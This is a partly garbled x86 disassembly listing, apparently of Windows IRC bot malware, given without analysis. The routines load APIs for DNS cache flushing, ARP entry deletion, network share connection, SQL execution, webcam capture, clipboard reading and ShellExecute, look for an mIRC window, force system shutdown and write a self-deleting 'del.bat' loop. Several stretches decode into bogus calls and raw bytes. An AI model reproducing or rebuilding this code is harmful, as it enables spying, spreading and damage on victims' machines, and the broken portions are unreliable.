		mov	dword_433AD8, eax
		jz	short loc_407307
		cmp	dword_4339A0, ebx
		jz	short loc_407307
		cmp	dword_433A14, ebx
		jz	short loc_407307
		cmp	dword_433A48, ebx
		jz	short loc_407307
		cmp	dword_433B58, ebx
		jz	short loc_407307
		cmp	dword_433A00, ebx
		jz	short loc_407307
		cmp	dword_4339AC, ebx
		jz	short loc_407307
		cmp	dword_43399C, ebx
		jz	short loc_407307
		cmp	dword_433A30, ebx
		jz	short loc_407307
		cmp	dword_433B20, ebx
		jz	short loc_407307
		cmp	eax, ebx
		jnz	short loc_407311
		jmp	short loc_407307
; ---------------------------------------------------------------------------


loc_4072FC:				; CODE XREF: sub_4068C6+94Bj
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433BC4, eax


loc_407307:				; CODE XREF: sub_4068C6+9E6j
					; sub_4068C6+9EEj ...
		mov	dword_433BC0, 1


loc_407311:				; CODE XREF: sub_4068C6+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; dword_41D0B0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407346
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4339F0, eax
		call	esi ; dword_41D0B4
		cmp	dword_4339F0, ebx
		mov	dword_433AC0, eax
		jz	short loc_407351
		cmp	eax, ebx
		jnz	short loc_40735B
		jmp	short loc_407351
; ---------------------------------------------------------------------------


loc_407346:				; CODE XREF: sub_4068C6+A56j
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433BCC, eax


loc_407351:				; CODE XREF: sub_4068C6+A78j
					; sub_4068C6+A7Ej
		mov	dword_433BC8, 1


loc_40735B:				; CODE XREF: sub_4068C6+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; dword_41D0B0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407390
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_433B44, eax
		call	esi ; dword_41D0B4
		cmp	dword_433B44, ebx
		mov	dword_433B40, eax
		jz	short loc_40739B
		cmp	eax, ebx
		jnz	short loc_4073A5
		jmp	short loc_40739B
; ---------------------------------------------------------------------------


loc_407390:				; CODE XREF: sub_4068C6+AA0j
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433BD4, eax


loc_40739B:				; CODE XREF: sub_4068C6+AC2j
					; sub_4068C6+AC8j
		mov	dword_433BD0, 1


loc_4073A5:				; CODE XREF: sub_4068C6+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; dword_41D0B0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407404
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_433B70, eax
		call	esi ; dword_41D0B4
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_433B68, eax
		call	esi ; dword_41D0B4
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_433B30, eax
		call	esi ; dword_41D0B4
		cmp	dword_433B70, ebx
		mov	dword_433A08, eax
		jz	short loc_40740F
		cmp	dword_433B68, ebx
		jz	short loc_40740F
		cmp	dword_433B30, ebx
		jz	short loc_40740F
		cmp	eax, ebx
		jnz	short loc_407419
		jmp	short loc_40740F
; ---------------------------------------------------------------------------


loc_407404:				; CODE XREF: sub_4068C6+AEAj
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433BDC, eax


loc_40740F:				; CODE XREF: sub_4068C6+B26j
					; sub_4068C6+B2Ej ...
		mov	dword_433BD8, 1


loc_407419:				; CODE XREF: sub_4068C6+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; dword_41D0B0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40744E
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_433A3C, eax
		call	esi ; dword_41D0B4
		cmp	dword_433A3C, ebx
		mov	dword_433B3C, eax
		jz	short loc_407459
		cmp	eax, ebx
		jnz	short loc_407463
		jmp	short loc_407459
; ---------------------------------------------------------------------------


loc_40744E:				; CODE XREF: sub_4068C6+B5Ej
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433BE4, eax


loc_407459:				; CODE XREF: sub_4068C6+B80j
					; sub_4068C6+B86j
		mov	dword_433BE0, 1


loc_407463:				; CODE XREF: sub_4068C6+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp ; dword_41D0B0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4074EC
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_433B04, eax
		call	esi ; dword_41D0B4
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_433B50, eax
		call	esi ; dword_41D0B4
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_433A8C, eax
		call	esi ; dword_41D0B4
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_433A4C, eax
		call	esi ; dword_41D0B4
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_433AE4, eax
		call	esi ; dword_41D0B4
		cmp	dword_433B04, ebx
		mov	dword_433A58, eax
		jz	short loc_4074F7
		cmp	dword_433B50, ebx
		jz	short loc_4074F7
		cmp	dword_433A8C, ebx
		jz	short loc_4074F7
		cmp	dword_433A4C, ebx
		jz	short loc_4074F7
		cmp	dword_433AE4, ebx
		jz	short loc_4074F7
		cmp	eax, ebx
		jnz	short loc_407501
		jmp	short loc_4074F7
; ---------------------------------------------------------------------------


loc_4074EC:				; CODE XREF: sub_4068C6+BA8j
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433BEC, eax


loc_4074F7:				; CODE XREF: sub_4068C6+BFEj
					; sub_4068C6+C06j ...
		mov	dword_433BE8, 1


loc_407501:				; CODE XREF: sub_4068C6+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp ; dword_41D0B0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407536
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_433A20, eax
		call	esi ; dword_41D0B4
		cmp	dword_433A20, ebx
		mov	dword_433AF8, eax
		jz	short loc_407541
		cmp	eax, ebx
		jnz	short loc_40754B
		jmp	short loc_407541
; ---------------------------------------------------------------------------


loc_407536:				; CODE XREF: sub_4068C6+C46j
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433BF4, eax


loc_407541:				; CODE XREF: sub_4068C6+C68j
					; sub_4068C6+C6Ej
		mov	dword_433BF0, 1


loc_40754B:				; CODE XREF: sub_4068C6+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4068C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407553	proc near		; CODE XREF: .nsp0:0040EFACp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_433B88, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40759B
		push	dword_433B8C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_40759B:				; CODE XREF: sub_407553+1Aj
		cmp	dword_433B90, esi
		jz	short loc_4075CF
		push	dword_433B94
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_4075CF:				; CODE XREF: sub_407553+4Ej
		cmp	dword_433B98, esi
		jz	short loc_407603
		push	dword_433B9C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_407603:				; CODE XREF: sub_407553+82j
		cmp	dword_433BA0, esi
		jz	short loc_407637
		push	dword_433BA4
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_407637:				; CODE XREF: sub_407553+B6j
		cmp	dword_433BA8, esi
		jz	short loc_40766B
		push	dword_433BAC
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_40766B:				; CODE XREF: sub_407553+EAj
		cmp	dword_433BB0, esi
		jz	short loc_40769F
		push	dword_433BB4
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_40769F:				; CODE XREF: sub_407553+11Ej
		cmp	dword_433BB8, esi
		jz	short loc_4076D3
		push	dword_433BBC
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_4076D3:				; CODE XREF: sub_407553+152j
		cmp	dword_433BC0, esi
		jz	short loc_407707
		push	dword_433BC4
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_407707:				; CODE XREF: sub_407553+186j
		cmp	dword_433BC8, esi
		jz	short loc_40773B
		push	dword_433BCC
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_40773B:				; CODE XREF: sub_407553+1BAj
		cmp	dword_433BD0, esi
		jz	short loc_40776F
		push	dword_433BD4
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_40776F:				; CODE XREF: sub_407553+1EEj
		cmp	dword_433BD8, esi
		jz	short loc_4077A3
		push	dword_433BDC
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_4077A3:				; CODE XREF: sub_407553+222j
		cmp	dword_433BE0, esi
		jz	short loc_4077D7
		push	dword_433BE4
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_4077D7:				; CODE XREF: sub_407553+256j
		cmp	dword_433BE8, esi
		jz	short loc_40780B
		push	dword_433BEC
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_40780B:				; CODE XREF: sub_407553+28Aj
		cmp	dword_433BF0, esi
		jz	short loc_40783F
		push	dword_433BF4
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h


loc_40783F:				; CODE XREF: sub_407553+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_42387C
		push	eax
		call	sub_411EEE
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40786C
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 14h


loc_40786C:				; CODE XREF: sub_407553+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_408E17
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40787E	proc near		; CODE XREF: .nsp0:0040ACC0p
					; .nsp0:0040ACF4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_407909
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_407909
		cmp	[ebp+arg_8], esi
		jz	short loc_407909
		cmp	byte ptr [eax],	0
		jz	short loc_407909
		push	ebx
		push	edi
		call	sub_41C64B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_407904
		push	[ebp+arg_4]
		push	edi
		call	sub_4124C0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4078FD
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_413710
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_4126F0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_4138E0
		push	[ebp+arg_4]
		call	sub_4126F0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_412610
		push	ebx
		push	edi
		call	sub_412600
		add	esp, 30h
		mov	esi, edi


loc_4078FD:				; CODE XREF: sub_40787E+3Cj
		push	ebx
		call	sub_412813
		pop	ecx


loc_407904:				; CODE XREF: sub_40787E+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40790B
; ---------------------------------------------------------------------------


loc_407909:				; CODE XREF: sub_40787E+Cj
					; sub_40787E+13j ...
		xor	eax, eax


loc_40790B:				; CODE XREF: sub_40787E+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40787E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40790F	proc near		; CODE XREF: sub_40A1C1+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_411F70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4126F0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_407945
		or	eax, 0FFFFFFFFh
		jmp	short loc_4079B8
; ---------------------------------------------------------------------------


loc_407945:				; CODE XREF: sub_40790F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_407967


loc_407951:				; CODE XREF: sub_40790F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40795E
		cmp	dl, 0Dh
		jnz	short loc_407962


loc_40795E:				; CODE XREF: sub_40790F+48j
		and	byte ptr [ecx+esi], 0


loc_407962:				; CODE XREF: sub_40790F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_407951


loc_407967:				; CODE XREF: sub_40790F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_407998
		lea	edi, [ebp+var_7CC]


loc_407974:				; CODE XREF: sub_40790F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_407993
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_407993
		cmp	ebx, 1F4h
		jge	short loc_407998
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_407993:				; CODE XREF: sub_40790F+69j
					; sub_40790F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_407974


loc_407998:				; CODE XREF: sub_40790F+5Dj
					; sub_40790F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_4079B6
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_411FD0
		add	esp, 0Ch


loc_4079B6:				; CODE XREF: sub_40790F+8Ej
		mov	eax, ebx


loc_4079B8:				; CODE XREF: sub_40790F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40790F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4079BC	proc near		; CODE XREF: sub_407A16+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4079F5
		push	ebx
		mov	ebx, edi


loc_4079D9:				; CODE XREF: sub_4079BC+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4079F8
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_4079D9
		pop	ebx


loc_4079F5:				; CODE XREF: sub_4079BC+18j
		pop	edi
		pop	esi
		retn
sub_4079BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4079F8	proc near		; CODE XREF: sub_4079BC+25p
					; sub_407A16+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_413A37
		cmp	al, 61h
		pop	ecx
		jl	short loc_407A13
		cmp	al, 7Ah
		jg	short loc_407A13
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_407A13:				; CODE XREF: sub_4079F8+Ej
					; sub_4079F8+12j
		xor	eax, eax
		retn
sub_4079F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A16	proc near		; CODE XREF: sub_408EF7+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_412770
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4126F0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_4126F0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_4079BC
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_407A54:				; CODE XREF: sub_407A16+B6j
		test	esi, esi
		jle	short loc_407AD2
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_413A37
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_413A37
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407ACA


loc_407A7A:				; CODE XREF: sub_407A16+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4079F8
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_407A9B
		mov	eax, ecx


loc_407A9B:				; CODE XREF: sub_407A16+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_407ACE
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_413A37
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_413A37
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_407A7A


loc_407ACA:				; CODE XREF: sub_407A16+62j
		dec	edi
		dec	esi
		jmp	short loc_407A54
; ---------------------------------------------------------------------------


loc_407ACE:				; CODE XREF: sub_407A16+8Aj
		xor	eax, eax
		jmp	short loc_407AD7
; ---------------------------------------------------------------------------


loc_407AD2:				; CODE XREF: sub_407A16+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_407AD7:				; CODE XREF: sub_407A16+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407A16	endp

; ---------------------------------------------------------------------------


loc_407ADC:				; CODE XREF: .nsp0:0040DA71p
					; .nsp0:0040E4C6p
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp-100h]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 0AB0000h
		mov	ds:0FF00858Dh, al
; ---------------------------------------------------------------------------
		db 0FFh
		dd 80088AFFh, 57F1FF9h,	7509F980h, 0F1EB4003h, 48002080h
		dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h,	21F980EBh
		dd 858DE67Ch, 0FFFFFF00h, 0F8BE5056h, 0FF00433Bh, 1C680875h
		dd 6800423Ah, 200h, 0A90CE856h,	0C4830000h, 5EC68B18h
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_407B66	proc near		; CODE XREF: .nsp0:0040EF38p
		push	esi
		push	0
		call	dword_433A98	; OpenClipboard
		test	eax, eax
		jz	short loc_407B9D
		push	1
		call	dword_433AB8	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_407B9D
		push	edi
		push	esi
		call	dword_41D0C4	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_41D0C0	; GlobalUnlock
		call	dword_433B1C	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_407B9D:				; CODE XREF: sub_407B66+Bj
					; sub_407B66+19j
		xor	eax, eax
		pop	esi
		retn
sub_407B66	endp

; ---------------------------------------------------------------------------


loc_407BA1:				; CODE XREF: .nsp0:0040E475p
		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_433AD4	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_407C1D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 0AB0000h
		sahf
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 0AB0000h
; ---------------------------------------------------------------------------
		dd 2474FF8Ch, 53D88B14h, 0A305E8h, 56595900h, 0C868016Ah
		dd 55000004h, 3B2415FFh, 6A560043h, 4C96801h, 0FF550000h
		dd 433B2415h, 0F1E85300h, 50006A83h, 7415FF57h,	6A0041D0h
		dd 0EB5B5801h
		db 2
; ---------------------------------------------------------------------------


loc_407C1D:				; CODE XREF: .nsp0:00407BB7j
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C23	proc near		; CODE XREF: .nsp0:00409D0Dp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_433B84	; SearchPathA
		test	eax, eax
		jz	short loc_407CC2
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_41D07C
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi ; dword_41D07C
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_407CC2
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 0AB0000h
		ficom	word ptr [ebx-75h]
		sbb	eax, offset dword_41D074
		call	ebx	; send
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi ; dword_41D07C
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_407CC2
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 0AB0000h
		in	eax, 56h
		call	ebx	; send


loc_407CC2:				; CODE XREF: sub_407C23+2Aj
					; sub_407C23+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407C23	endp


; =============== S U B	R O U T	I N E =======================================



sub_407CC7	proc near		; CODE XREF: .nsp0:0040B3C2p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_410A0C
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_433A10	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_407CC7	endp

; ---------------------------------------------------------------------------


loc_407CE9:				; CODE XREF: .nsp0:0040F199p
		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_425B68, esi
		push	edi
		jz	short loc_407D0D
		cmp	dword_433B98, esi
		jnz	short loc_407D0D
		push	esi
		call	sub_409026
		pop	ecx


loc_407D0D:				; CODE XREF: .nsp0:00407CFCj
					; .nsp0:00407D04j
		call	sub_411B63
		lea	eax, [ebp-764h]
		push	eax
		push	400h
		call	near ptr 0AB0000h
		inc	ecx
		lea	eax, [ebp-764h]
		push	eax
		lea	eax, [ebp-260h]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		lea	eax, [ebp-260h]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_41D07C	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_407E6D
		lea	eax, [ebp-260h]
		push	eax
		lea	eax, [ebp-764h]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	esi
		push	eax
		lea	eax, [ebp-764h]
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp-764h]
		push	eax
		push	edi
		call	near ptr 0AB0000h
		leave
		push	edi
		call	dword_41D074	; CloseHandle
		push	10h
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_411F70
		push	44h
		lea	eax, [ebp-58h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_411F70
		add	esp, 18h
		mov	[ebp-58h], edi
		mov	edi, 104h
		lea	eax, [ebp-15Ch]
		push	edi
		push	eax
		push	esi
		mov	dword ptr [ebp-4Ch], offset byte_432708
		mov	dword ptr [ebp-2Ch], 1
		mov	[ebp-28h], si
		call	near ptr 0AB0000h
		mov	ch, 50h
		call	near ptr 0AB0000h
		mov	ebx, 0FEA4858Dh
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	50h
